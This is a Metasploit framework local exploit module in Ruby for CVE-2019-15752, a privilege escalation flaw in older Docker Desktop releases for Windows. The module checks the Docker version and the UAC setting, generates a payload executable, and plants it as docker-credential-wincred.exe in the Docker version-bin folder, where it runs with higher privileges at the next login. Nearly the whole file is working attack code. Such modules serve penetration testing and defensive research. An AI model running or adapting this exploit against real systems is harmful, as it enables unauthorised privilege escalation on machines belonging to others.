##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Docker-Credential-Wincred.exe Privilege Escalation',
        'Description' => %q{
          This exploit leverages a vulnerability in docker desktop
          community editions prior to 2.1.0.1 where an attacker can write
          a payload to a lower-privileged area to be executed
          automatically by the docker user at login.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Morgan Roman', # discovery
          'bwatters-r7', # metasploit module
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Targets' => [[ 'Automatic', {} ]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'WfsDelay' => 15
        },
        'DisclosureDate' => '2019-07-05',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'References' => [
          ['CVE', '2019-15752'],
          ['URL', 'https://medium.com/@morgan.henry.roman/elevation-of-privilege-in-docker-for-windows-2fd8450b478e']
        ]
      )
    )
    register_options(
      [OptString.new('PROGRAMDATA', [true, 'Path to docker version-bin.', '%PROGRAMDATA%'])]
    )
  end

  def docker_version
    output = cmd_exec('cmd.exe', '/c docker -v')
    vprint_status(output)
    version_string = output.match(/version (\d+\.\d+\.\d)/)[1]
    Rex::Version.new(version_string.split('.').map(&:to_i).join('.'))
  end

  def check
    if docker_version <= Rex::Version.new('18.09.0')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    check_permissions!
    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
      UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
      UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good('UAC is set to Default')
      print_good('BypassUAC can bypass this setting, continuing...')
    when UAC_NO_PROMPT
      print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
      shell_execute_exe
      return
    end

    # make payload
    docker_path = expand_path("#{datastore['PROGRAMDATA']}\\DockerDesktop\\version-bin")
    fail_with(Failure::NotFound, 'Vulnerable Docker path is not on system') unless directory?(docker_path)
    payload_name = 'docker-credential-wincred.exe'
    payload_pathname = "#{docker_path}\\#{payload_name}"
    vprint_status('Making Payload')
    payload = generate_payload_exe

    # upload Payload
    vprint_status("Uploading Payload to #{payload_pathname}")
    write_file(payload_pathname, payload)
    vprint_status('Payload Upload Complete')
    print_status('Waiting for user to attempt to login')
  end

  def check_permissions!
    unless check == Exploit::CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    # Check if you are an admin
    # is_in_admin_group can be nil, true, or false
  end
end
